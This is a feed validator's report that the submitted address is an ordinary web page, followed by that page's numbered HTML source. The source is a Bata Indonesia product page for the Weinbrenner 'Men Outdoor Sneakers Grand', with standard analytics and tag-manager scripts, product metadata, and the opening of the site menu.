It looks like this is a web page, not a feed. I looked for a feed associated with this page, but couldn't find one. Please enter the address of your feed to validate.

Source: https://dilanpolresketapang.com/

  1.  
  2. <!DOCTYPE html>
  3. <html lang="id">
  4. <head>
  5. <!--[if gt IE 9]><!-->
  6.  
  7.  
  8. <script>//common/scripts.isml</script>
  9. <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/main.min.js"></script>
  10.  
  11.  
  12.  
  13.  
  14.    
  15.    
  16.        
  17.        
  18.        
  19.        
  20.        
  21.        <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/analytics-index.min.js"></script>
  22.        
  23.    <script type="text/javascript">
  24.    (function(c,l,a,r,i,t,y){
  25.        c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
  26.        t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
  27.        y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
  28.    })(window, document, "clarity", "script", "knqezlwia6");
  29. </script>
  30.  
  31.  
  32.  
  33.    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
  34. new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
  35. j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
  36. 'https://www.googletagmanager.com/gtm.js?id='+i+dl+ '&gtm_auth=w570b3z2T4vXnO37SIEhyA&gtm_preview=env-1&gtm_cookies_win=x';f.parentNode.insertBefore(j,f);
  37. })(window,document,'script','dataLayer','GTM-PM28D5Z');</script>
  38.  
  39.  
  40.  
  41.  
  42.    
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.    
  51.        <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/productDetail.min.js"
  52.            
  53.            >
  54.        </script>
  55.    
  56.  
  57.    
  58.        <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/recommendationsCarousel.min.js"
  59.            
  60.            >
  61.        </script>
  62.    
  63.  
  64.    
  65.        <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/productVideo.min.js"
  66.            
  67.            >
  68.        </script>
  69.    
  70.  
  71.  
  72. <!--<![endif]-->
  73. <meta charset="UTF-8"/>
  74.  
  75. <meta http-equiv="x-ua-compatible" content="ie=edge"/>
  76.  
  77. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
  78.  
  79.  
  80.  
  81.    
  82.        <title>Men Outdoor Sneakers Grand, BLACK , 8406005 | Bata</title>
  83.    
  84.    
  85.        <meta name="description" content="(Online Exclusive) Men Outdoor Sneakers Grand - | Bata Indonesia"/>
  86.    
  87.    
  88.    
  89.  
  90.  
  91.  
  92.  
  93.  
  94. <link rel="icon" type="image/png" href="/on/demandware.static/Sites-bata-id-Site/-/default/dwcd81632c/images/favicons/favicon-96x96.png" sizes="96x96" />
  95. <link rel="icon" type="image/png" href="/on/demandware.static/Sites-bata-id-Site/-/default/dw71526542/images/favicons/favicon-32x32.png" sizes="32x32" />
  96. <link rel="icon" type="image/png" href="/on/demandware.static/Sites-bata-id-Site/-/default/dwb55abf99/images/favicons/favicon-16x16.png" sizes="16x16" />
  97.  
  98.  
  99.  
  100.  
  101.    <link rel="preconnect" href="https://fonts.googleapis.com">
  102.    <link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,400;0,500;0,600;0,700;1,400;1,500;1,600;1,700&display=swap" rel="stylesheet">
  103.  
  104. <link rel="preload" href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/fonts/iconfont/iconfont.woff2" as="font" type="font/woff2" crossorigin />
  105.  
  106. <link rel="stylesheet" href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/css/global.css" />
  107.  
  108.    <link rel="stylesheet" href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/css/pdp.css"  />
  109.  
  110.    <link rel="stylesheet" href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/css/addProductModal.css"  />
  111.  
  112.    <link rel="stylesheet" href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/css/recommendationsCarousel.css"  />
  113.  
  114.  
  115.  
  116.  
  117.    <meta name="google-site-verification" content="iJ0ZfrfqoF8FZlrCjI5KU389osjK695gP7Jvr-s2xZI" />
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130. <link rel="canonical" href="https://www.bata.com/id/men-outdoor-sneakers-grand-540M_ER84000541M.html"/>
  131.  
  132.  
  133.  
  134. <script type="text/javascript">//<!--
  135. /* <![CDATA[ (head-active_data.js) */
  136. var dw = (window.dw || {});
  137. dw.ac = {
  138.    _analytics: null,
  139.    _events: [],
  140.    _category: "",
  141.    _searchData: "",
  142.    _anact: "",
  143.    _anact_nohit_tag: "",
  144.    _analytics_enabled: "true",
  145.    _timeZone: "Asia/Jakarta",
  146.    _capture: function(configs) {
  147.        if (Object.prototype.toString.call(configs) === "[object Array]") {
  148.            configs.forEach(captureObject);
  149.            return;
  150.        }
  151.        dw.ac._events.push(configs);
  152.    },
  153. capture: function() {
  154. dw.ac._capture(arguments);
  155. // send to CQ as well:
  156. if (window.CQuotient) {
  157. window.CQuotient.trackEventsFromAC(arguments);
  158. }
  159. },
  160.    EV_PRD_SEARCHHIT: "searchhit",
  161.    EV_PRD_DETAIL: "detail",
  162.    EV_PRD_RECOMMENDATION: "recommendation",
  163.    EV_PRD_SETPRODUCT: "setproduct",
  164.    applyContext: function(context) {
  165.        if (typeof context === "object" && context.hasOwnProperty("category")) {
  166.         dw.ac._category = context.category;
  167.        }
  168.        if (typeof context === "object" && context.hasOwnProperty("searchData")) {
  169.         dw.ac._searchData = context.searchData;
  170.        }
  171.    },
  172.    setDWAnalytics: function(analytics) {
  173.        dw.ac._analytics = analytics;
  174.    },
  175.    eventsIsEmpty: function() {
  176.        return 0 == dw.ac._events.length;
  177.    }
  178. };
  179. /* ]]> */
  180. // -->
  181. </script>
  182. <script type="text/javascript">//<!--
  183. /* <![CDATA[ (head-cquotient.js) */
  184. var CQuotient = window.CQuotient = {};
  185. CQuotient.clientId = 'bclg-bata-id';
  186. CQuotient.realm = 'BCLG';
  187. CQuotient.siteId = 'bata-id';
  188. CQuotient.instanceType = 'prd';
  189. CQuotient.locale = 'in_ID';
  190. CQuotient.fbPixelId = '__UNKNOWN__';
  191. CQuotient.activities = [];
  192. CQuotient.cqcid='';
  193. CQuotient.cquid='';
  194. CQuotient.cqeid='';
  195. CQuotient.cqlid='';
  196. CQuotient.apiHost='api.cquotient.com';
  197. /* Turn this on to test against Staging Einstein */
  198. /* CQuotient.useTest= true; */
  199. CQuotient.useTest = ('true' === 'false');
  200. CQuotient.initFromCookies = function () {
  201. var ca = document.cookie.split(';');
  202. for(var i=0;i < ca.length;i++) {
  203.  var c = ca[i];
  204.  while (c.charAt(0)==' ') c = c.substring(1,c.length);
  205.  if (c.indexOf('cqcid=') == 0) {
  206. CQuotient.cqcid=c.substring('cqcid='.length,c.length);
  207.  } else if (c.indexOf('cquid=') == 0) {
  208.  var value = c.substring('cquid='.length,c.length);
  209.  if (value) {
  210.   var split_value = value.split("|", 3);
  211.   if (split_value.length > 0) {
  212.  CQuotient.cquid=split_value[0];
  213.   }
  214.   if (split_value.length > 1) {
  215.  CQuotient.cqeid=split_value[1];
  216.   }
  217.   if (split_value.length > 2) {
  218.  CQuotient.cqlid=split_value[2];
  219.   }
  220.  }
  221.  }
  222. }
  223. }
  224. CQuotient.getCQCookieId = function () {
  225. if(window.CQuotient.cqcid == '')
  226. window.CQuotient.initFromCookies();
  227. return window.CQuotient.cqcid;
  228. };
  229. CQuotient.getCQUserId = function () {
  230. if(window.CQuotient.cquid == '')
  231. window.CQuotient.initFromCookies();
  232. return window.CQuotient.cquid;
  233. };
  234. CQuotient.getCQHashedEmail = function () {
  235. if(window.CQuotient.cqeid == '')
  236. window.CQuotient.initFromCookies();
  237. return window.CQuotient.cqeid;
  238. };
  239. CQuotient.getCQHashedLogin = function () {
  240. if(window.CQuotient.cqlid == '')
  241. window.CQuotient.initFromCookies();
  242. return window.CQuotient.cqlid;
  243. };
  244. CQuotient.trackEventsFromAC = function (/* Object or Array */ events) {
  245. try {
  246. if (Object.prototype.toString.call(events) === "[object Array]") {
  247. events.forEach(_trackASingleCQEvent);
  248. } else {
  249. CQuotient._trackASingleCQEvent(events);
  250. }
  251. } catch(err) {}
  252. };
  253. CQuotient._trackASingleCQEvent = function ( /* Object */ event) {
  254. if (event && event.id) {
  255. if (event.type === dw.ac.EV_PRD_DETAIL) {
  256. CQuotient.trackViewProduct( {id:'', alt_id: event.id, type: 'raw_sku'} );
  257. } // not handling the other dw.ac.* events currently
  258. }
  259. };
  260. CQuotient.trackViewProduct = function(/* Object */ cqParamData){
  261. var cq_params = {};
  262. cq_params.cookieId = CQuotient.getCQCookieId();
  263. cq_params.userId = CQuotient.getCQUserId();
  264. cq_params.emailId = CQuotient.getCQHashedEmail();
  265. cq_params.loginId = CQuotient.getCQHashedLogin();
  266. cq_params.product = cqParamData.product;
  267. cq_params.realm = cqParamData.realm;
  268. cq_params.siteId = cqParamData.siteId;
  269. cq_params.instanceType = cqParamData.instanceType;
  270. cq_params.locale = CQuotient.locale;
  272. if(CQuotient.sendActivity) {
  273. CQuotient.sendActivity(CQuotient.clientId, 'viewProduct', cq_params);
  274. } else {
  275. CQuotient.activities.push({activityType: 'viewProduct', parameters: cq_params});
  276. }
  277. };
  278. /* ]]> */
  279. // -->
  280. </script>
  281.  
  282. <script type="application/ld+json">
  283.    {"@context":"http://schema.org","@type":"WebSite","url":"https://www.bata.com/id/","name":"Bata Indonesia"}
  284. </script>
  285. <script type="application/ld+json">
  286.    {"@context":"http://schema.org","@type":"Organization","name":"Bata","url":"https://www.bata.com","logo":"https://www.bata.com/images/logo.png","sameAs":["https://www.instagram.com/batashoes/","https://www.youtube.com/c/batashoes"],"contactPoint":[{"@type":"ContactPoint","telephone":"+34865694390","email":"help.es@bata.com","contactOption":"TollFree","areaServed":"ES","contactType":"customer support","availableLanguage":["Spanish"]},{"@type":"ContactPoint","telephone":"+48221284823","contactType":"customerservice","contactOption":"TollFree","areaServed":"PL","availableLanguage":["Polish"]},{"@type":"ContactPoint","telephone":"+62215084211","email":"id.customerservice@bata.com","contactType":"customerservice","contactOption":"TollFree","areaServed":"ID","availableLanguage":["Bahasa","English"]},{"@type":"ContactPoint","telephone":"+66231203412","email":"customerservice.th@bata.com","contactType":"customerservice","contactOption":"TollFree","areaServed":"TH","availableLanguage":["Thai","English"]},{"@type":"ContactPoint","telephone":"+60377173082","email":"mybata.ecommerce@bata.com","contactType":"customerservice","contactOption":"TollFree","areaServed":"MY","availableLanguage":["English"]},{"@type":"ContactPoint","telephone":"72 899 00000","email":"in-customer.service@bata.com","contactType":"customerservice","areaServed":"IN","availableLanguage":["English","Hindi"]},{"@type":"ContactPoint","telephone":"+20421239183375","email":"kontakt.sk@bata.com","contactType":"customerservice","contactOption":"TollFree","areaServed":"SK","availableLanguage":["Czech","Slovak"]}],"address":{"@type":"PostalAddress","addressCountry":"Italy","addressLocality":"Limena","addressRegion":"PD","postalCode":"35010","streetAddress":"via A. Volta 6"}}
  287. </script>
  288.  
  289.  
  290.    <script type="application/ld+json">
  291.        {"@context":"http://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"item":{"@id":"https://www.bata.com/id/pria/","name":"Pria"}},{"@type":"ListItem","position":2,"item":{"@id":"https://www.bata.com/id/pria/alas-kaki/","name":"Alas Kaki"}},{"@type":"ListItem","position":3,"item":{"@id":"https://www.bata.com/id/pria/alas-kaki/sepatu-outdoor/","name":"Sepatu Outdoor"}}]}
  292.    </script>
  293.  
  294.  
  295.  
  296.   <script type="application/ld+json">
  297.        {"@context":"http://schema.org/","@type":"Product","name":"Men Outdoor Sneakers Grand","mpn":"540M_2023_8406005","sku":"540M_2023_8406005","brand":{"@type":"Brand","name":"WEINBRENNER"},"image":["https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=800&sh=800","https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw0252ff61/images/large/8406005_2.jpg?sw=800&sh=800","https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw06a075e9/images/large/8406005_3.jpg?sw=800&sh=800","https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dw1a871fe7/images/large/8406005_4.jpg?sw=800&sh=800","https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwbca810ab/images/large/8406005_5.jpg?sw=800&sh=800"],"offers":{"url":{},"@type":"Offer","priceCurrency":"IDR","price":"449900.00","availability":"http://schema.org/InStock"},"description":"Weinbrenner kembali menghadirkan alas kaki untuk membuat penampilan Anda semakin fashionable dan stylish. Produk fashion ini semakin sempurna dengan material PU dan model desain yang begitu trendi dan dinamis. Alas kaki ini pun nyaman juga ringan dengan sol kuat sehingga Anda dapat tampil gaya sekaligus nyaman beraktivitas seharian dengan sepatu ini. Material berkualitas pada alas kaki ini tidak hanya mudah dicuci atau dibersihkan tapi juga tahan lama. Jalani hari dengan tampilan memesona dan kaki yang nyaman hanya dengan alas kaki istimewa satu ini."}
  298.    </script>
  299.  
  300.  
  301. <meta property="og:type" content="website" />
  302.  
  303. <meta property="og:locale" content="id_ID" />
  304.  
  305. <meta property="og:title" content="Men Outdoor Sneakers Grand, BLACK , 8406005 | Bata" />
  306.  
  307. <meta property="og:description" content="(Online Exclusive) Men Outdoor Sneakers Grand - | Bata Indonesia" />
  308.  
  309. <meta property="og:url" content="https://www.bata.com/id/men-outdoor-sneakers-grand-540M_ER84000541M.html" />
  310.  
  311. <meta property="og:image" content="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-master-catalog/default/dwa41a8e3f/images/large/8406005_1.jpg?sw=800&amp;sh=800" />
  312.  
  313.  
  314.  
  315. <script>(window.BOOMR_mq=window.BOOMR_mq||[]).push(["addVar",{"rua.upush":"false","rua.cpush":"false","rua.upre":"false","rua.cpre":"false","rua.uprl":"false","rua.cprl":"false","rua.cprf":"false","rua.trans":"","rua.cook":"false","rua.ims":"false","rua.ufprl":"false","rua.cfprl":"false","rua.isuxp":"false","rua.texp":"norulematch","rua.ceh":"false","rua.ueh":"false","rua.ieh.st":"0"}]);</script>
  316.                              <script>!function(e){var n="https://s.go-mpulse.net/boomerang/";if("False"=="True")e.BOOMR_config=e.BOOMR_config||{},e.BOOMR_config.PageParams=e.BOOMR_config.PageParams||{},e.BOOMR_config.PageParams.pci=!0,n="https://s2.go-mpulse.net/boomerang/";if(window.BOOMR_API_key="UZAJ5-3L2C7-5EZBS-7RD4M-XQ2YA",function(){function e(){if(!o){var e=document.createElement("script");e.id="boomr-scr-as",e.src=window.BOOMR.url,e.async=!0,i.parentNode.appendChild(e),o=!0}}function t(e){o=!0;var n,t,a,r,d=document,O=window;if(window.BOOMR.snippetMethod=e?"if":"i",t=function(e,n){var t=d.createElement("script");t.id=n||"boomr-if-as",t.src=window.BOOMR.url,BOOMR_lstart=(new Date).getTime(),e=e||d.body,e.appendChild(t)},!window.addEventListener&&window.attachEvent&&navigator.userAgent.match(/MSIE [67]\./))return window.BOOMR.snippetMethod="s",void t(i.parentNode,"boomr-async");a=document.createElement("IFRAME"),a.src="about:blank",a.title="",a.role="presentation",a.loading="eager",r=(a.frameElement||a).style,r.width=0,r.height=0,r.border=0,r.display="none",i.parentNode.appendChild(a);try{O=a.contentWindow,d=O.document.open()}catch(_){n=document.domain,a.src="javascript:var d=document.open();d.domain='"+n+"';void(0);",O=a.contentWindow,d=O.document.open()}if(n)d._boomrl=function(){this.domain=n,t()},d.write("<bo"+"dy onload='document._boomrl();'>");else if(O._boomrl=function(){t()},O.addEventListener)O.addEventListener("load",O._boomrl,!1);else if(O.attachEvent)O.attachEvent("onload",O._boomrl);d.close()}function a(e){window.BOOMR_onload=e&&e.timeStamp||(new Date).getTime()}if(!window.BOOMR||!window.BOOMR.version&&!window.BOOMR.snippetExecuted){window.BOOMR=window.BOOMR||{},window.BOOMR.snippetStart=(new Date).getTime(),window.BOOMR.snippetExecuted=!0,window.BOOMR.snippetVersion=12,window.BOOMR.url=n+"UZAJ5-3L2C7-5EZBS-7RD4M-XQ2YA";var i=document.currentScript||document.getElementsByTagName("script")[0],o=!1,r=document.createElement("link");if(r.relList&&"function"==typeof r.relList.supports&&r.relList.supports("preload")&&"as"in r)window.BOOMR.snippetMethod="p",r.href=window.BOOMR.url,r.rel="preload",r.as="script",r.addEventListener("load",e),r.addEventListener("error",function(){t(!0)}),setTimeout(function(){if(!o)t(!0)},3e3),BOOMR_lstart=(new Date).getTime(),i.parentNode.appendChild(r);else t(!1);if(window.addEventListener)window.addEventListener("load",a,!1);else if(window.attachEvent)window.attachEvent("onload",a)}}(),"".length>0)if(e&&"performance"in e&&e.performance&&"function"==typeof e.performance.setResourceTimingBufferSize)e.performance.setResourceTimingBufferSize();!function(){if(BOOMR=e.BOOMR||{},BOOMR.plugins=BOOMR.plugins||{},!BOOMR.plugins.AK){var n=""=="true"?1:0,t="cookiepresent",a="xhkvhiaxgj25gzzfxgeq-f-239f381ef-clientnsv4-s.akamaihd.net",i="false"=="true"?2:1,o={"ak.v":"39","ak.cp":"1498480","ak.ai":parseInt("946710",10),"ak.ol":"0","ak.cr":0,"ak.ipv":4,"ak.proto":"h2","ak.rid":"3b4adbc6","ak.r":45151,"ak.a2":n,"ak.m":"dsca","ak.n":"essl","ak.bpcip":"185.213.83.0","ak.cport":47854,"ak.gh":"23.50.117.197","ak.quicv":"","ak.tlsv":"tls1.3","ak.0rtt":"","ak.0rtt.ed":"","ak.csrc":"-","ak.acc":"","ak.t":"1730525577","ak.ak":"hOBiQwZUYzCg5VSAfCLimQ==/gmByGofwBZU730b8LhWNufXLTIB43OMIkxqpQ8dJ2psShpE/6+rImB6PQj3rVay0cs3NlC4VwhMZWcU49PFVNgT8Y8fKbRT7s+kzZI4BN/BqHmFaH4VGQ8m/28DTAB7aek7qot9xClyuM/i9oJGzxzrlKjguitFuq3PsIEOxuUoY+dhPTvNeXgJdEG98pR97DYEciRTdMAlPjyJXIY0CygtU5AfMs1uwZvliwV8MSC41hbiiu5+YGYeSdVWYqVZ/RuGfJunWGo55L2OPmqi0MqrYneb1FnMiGhpw5SfzLeyyh0eSHBqvZwmlxFtBjGng0N4B2gxNvqpGBSnXXJDHx8Opnsm7pLb2xy+blUFZtZUHtojothg0PmOxwAol3N6MgJIz80xwp5k88uEqbVCohnfbTE9g1vXWJyUe4yfQco=","ak.pv":"7","ak.dpoabenc":"","ak.tf":i};if(""!==t)o["ak.ruds"]=t;var r={i:!1,av:function(n){var t="http.initiator";if(n&&(!n[t]||"spa_hard"===n[t]))o["ak.feo"]=void 0!==e.aFeoApplied?1:0,BOOMR.addVar(o)},rv:function(){var e=["ak.bpcip","ak.cport","ak.cr","ak.csrc","ak.gh","ak.ipv","ak.m","ak.n","ak.ol","ak.proto","ak.quicv","ak.tlsv","ak.0rtt","ak.0rtt.ed","ak.r","ak.acc","ak.t","ak.tf"];BOOMR.removeVar(e)}};BOOMR.plugins.AK={akVars:o,akDNSPreFetchDomain:a,init:function(){if(!r.i){var e=BOOMR.subscribe;e("before_beacon",r.av,null,null),e("onbeacon",r.rv,null,null),r.i=!0}return this},is_complete:function(){return!0}}}}()}(window);</script></head>
  317. <body>
  318.  
  319.  
  320. <span
  321. class='page-meta-data'
  322. data-page='Product-Show'
  323. data-page-type='product'
  324. data-analytics-page-type='product'
  325. data-is-pd-page='false'
  326. data-is-brands-page='false'
  327. data-page-type-mapping='{"Search-Show-brand":"brands","Search-Show-category":"category","Product-Show":"product","Cart-Show":"cart","Login-Show":"account","Order-History":"account","Order-StatusForm":"account","Account-Show":"account","Account-ShowRegistration":"account","Account-PointsCreditNotes":"account","Newsletter-SignUp":"account","Newsletter-HandleForm":"newsletterconfirmation","Newsletter-ThankYou":"newsletteractivation","Wishlist-Show":"wishlist","Wishlist-ShowOthers":"wishlist","Checkout-Login":"checkoutlogin","pageDesigner-content":"content","pageDesigner-default":"category","Checkout-Begin":"shipping","shipping":"shipping","payment":"billing","placeOrder":"orderConfirmation","Order-Confirm":"purchase","Stores-Find":"storelocator","Stores-Details":"storelocator","Account-Leave":"account","default":"other","pageDesigner-fullPage-homepage-redesign":"home","pageDesigner-fullPage-home-page":"home"}'
  328. data-analytics-page-type-mapping='{"Search-Show-brand":"brands","Search-Show-category":"category","Product-Show":"product","Cart-Show":"cart","Login-Show":"account","Order-History":"account","Order-StatusForm":"account","Account-Show":"account","Account-ShowRegistration":"account","Account-PointsCreditNotes":"account","Newsletter-SignUp":"account","Newsletter-HandleForm":"newsletterconfirmation","Newsletter-ThankYou":"newsletteractivation","Wishlist-Show":"wishlist","Wishlist-ShowOthers":"wishlist","Checkout-Login":"checkoutlogin","pageDesigner-content":"content","pageDesigner-default":"category","Checkout-Begin":"shipping","shipping":"shipping","payment":"billing","placeOrder":"orderConfirmation","Order-Confirm":"purchase","Stores-Find":"storelocator","Stores-Details":"storelocator","Account-Leave":"account","default":"other","pageDesigner-fullPage-homepage-redesign":"home","pageDesigner-fullPage-home-page":"home"}'
  329. />
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339.  
  340.    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-PM28D5Z&gtm_auth=w570b3z2T4vXnO37SIEhyA&gtm_preview=env-1&gtm_cookies_win=x" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
  341.  
  342.  
  343.  
  344.  
  345. <div id='analytics-countryCode' data-content='ID'></div>
  346.  
  347.  
  348.  
  349.  
  350. <div class="cc-main-wrapper page analytics-pageDescription" data-action="Product-Show" data-querystring="dwvar_540M__ER84000541M_color=BLACK&amp;pid=540M_ER84000541M" >
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357. <div class="error-message">
  358.    <noscript>
  359.        <div class="error-message-cookies scripts-error">
  360.            Fungsi Javascript pada peramban Anda sedang dimatikan. Mohon dapat menghidupkannya untuk mendapatkan fitur yang optimal dari situs ini.
  361.        </div>
  362.    </noscript>
  363.    <div class="error-message-cookies cookies-disabled" id="error-message-cookies">
  364.        Peramban Anda saat ini diatur tidak dapat menerima cookies. Mohon dapat menghidupkannya atau periksa apakah ada program lain yang menghalangi cookies.
  365.    </div>
  366. </div>
  367. <div class="cc-header--banner">
  368.    
  370.  
  372.    <button class="cc-header--banner-close js-header-banner-close" aria-label="Tutup">
  373.        <svg class="iconClassCommon cc-header--banner-close-icon">
  374.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-close" />
  375. </svg>
  376.    </button>
  377. </div>
  378. <header class="cc-header js-header cc-header--transparent cc-header--trasparentHeader ">
  379.    <div class="cc-header-main">
  380.        
  381.  
  382.  
  383.  
  384.  
  385.  
  386. <div class="cc-header-bar js-headerBar">
  387.    <div class="cc-headerBar-left">
  388.        <button class="js-toggleMenuMobile d-lg-none">
  389.            <svg class="iconClassCommon cc-headerBar-icon cc-headerBar-icon-menu">
  390.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-menu" />
  391. </svg>
  392.        </button>
  393.        <button class="cc-headerBar-search js-headerSearchButton  d-lg-none">
  394.            <svg class="iconClassCommon cc-headerBar-icon">
  395.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-search" />
  396. </svg>
  397.        </button>
  398.        <div class="cc-main-menu">
  399.            
  400.  
  401.  
  402.  
  403.  
  404.  
  405.  
  406. <div class="cc-menu js-editorialMenu " data-active-level="1" aria-expanded="false">
  407. <div>
  408. <div class="cc-menu__header">
  409. <a href="/id/" class="cc-menu__header__logo d-lg-none">
  410. <svg class="iconClassCommon cc-menu__header__logo-icon">
  411.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#logo-bata-menu" />
  412. </svg>
  413. </a>
  414. <button class="cc-menu__close js-menuClose" aria-label="Close menu">
  415. <svg class="iconClassCommon cc-menu__close-icon medium">
  416.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#close" />
  417. </svg>
  418. </button>
  419. </div>
  420. <div class="cc-menu__firstLevel cc-menu__firstLevelFake js-duplicated-menu-for-mobile d-lg-none"></div>
  421. <div>
  422. <ul class="cc-menu__firstLevel"><li class="cc-menu__level cc-menu__firstLevel__item js-menuFirstLevelItem">
  423.  
  424.  
  425.  
  426.  
  427.  
  428.    <div class="cc-menu__level__link cc-menu__firstLevel__link d-none d-lg-block" data-menu-index="2" aria-label="Wanita" aria-expanded="false">
  429.        <span class="cc-menu__level__title cc-menu__firstLevel__title">Wanita</span>
  430.    </div>
  431.  
  432. <div class="cc-menu__level cc-menu__secondLevel js-menuSecondLevel">
  433.    <div class="cc-menu__secondLevel__wrapper">
  434.        <div class="experience-region experience-secondLevelColumnRegion"><div class="cc-menu__secondLevel__wrapper-inner">
  435.  
  436.  
  437.  
  438. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  439.    
  440.    
  441.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/koleksi-terbaru/wanita/" data-menu-index="2" aria-label="Baru &amp; Tren" aria-expanded="false">
  442.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Baru &amp; Tren</span>
  443.        </a>
  444.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  445.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  446. </svg>
  447.    
  448. </div>
  449.  
  450. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  451.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  452.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  453.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  454. </svg>
  455.        
  456.            <span class="cc-menu__thirdLevel-back-title">Wanita Baru &amp; Tren</span>
  457.        
  458.    </div>
  459.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  460.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  461.  
  462.  
  463.  
  464. <div class="cc-menu__secondLevelColumn">
  465.    
  466.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner"><div class="cc-menu__thirdLevelItemsSection cc-menu__thirdLevelSecondaryLinks">
  467.    
  468.        <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  469.            Kategori Baru &amp; Tren
  470.        </span>
  471.    
  472.    <div class="cc-menu__thirdLevelItemsSection"><div class="cc-menu__thirdLevel__item">
  473.    <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="https://www.bata.com/id/wanita/brand/marie-claire/" aria-label="Marie Claire">
  474.        <span class="cc-menu__thirdLevel__title">Marie Claire</span>
  475.    </a>
  476. </div><div class="cc-menu__thirdLevel__item">
  477.    <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="https://www.bata.com/id/koleksi-terbaru/wanita/" aria-label="Koleksi Terbaru">
  478.        <span class="cc-menu__thirdLevel__title">Koleksi Terbaru</span>
  479.    </a>
  480. </div></div>
  481. </div>
  482. </div></div>
  483. </div></div></div>
  484.    </ul>
  485. </div>
  486. </div><div class="cc-menu__secondLevel__wrapper-inner">
  487.  
  488.  
  489.  
  490. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem js-openFirst">
  491.    
  492.    
  493.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/wanita/alas-kaki/" data-menu-index="2" aria-label="Alas kaki" aria-expanded="false">
  494.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Alas kaki</span>
  495.        </a>
  496.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  497.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  498. </svg>
  499.    
  500. </div>
  501.  
  502. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  503.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  504.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  505.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  506. </svg>
  507.        
  508.            <span class="cc-menu__thirdLevel-back-title">Wanita Alas Kaki</span>
  509.        
  510.    </div>
  511.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  512.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  513.  
  514.  
  515.  
  516. <div class="cc-menu__secondLevelColumn">
  517.    
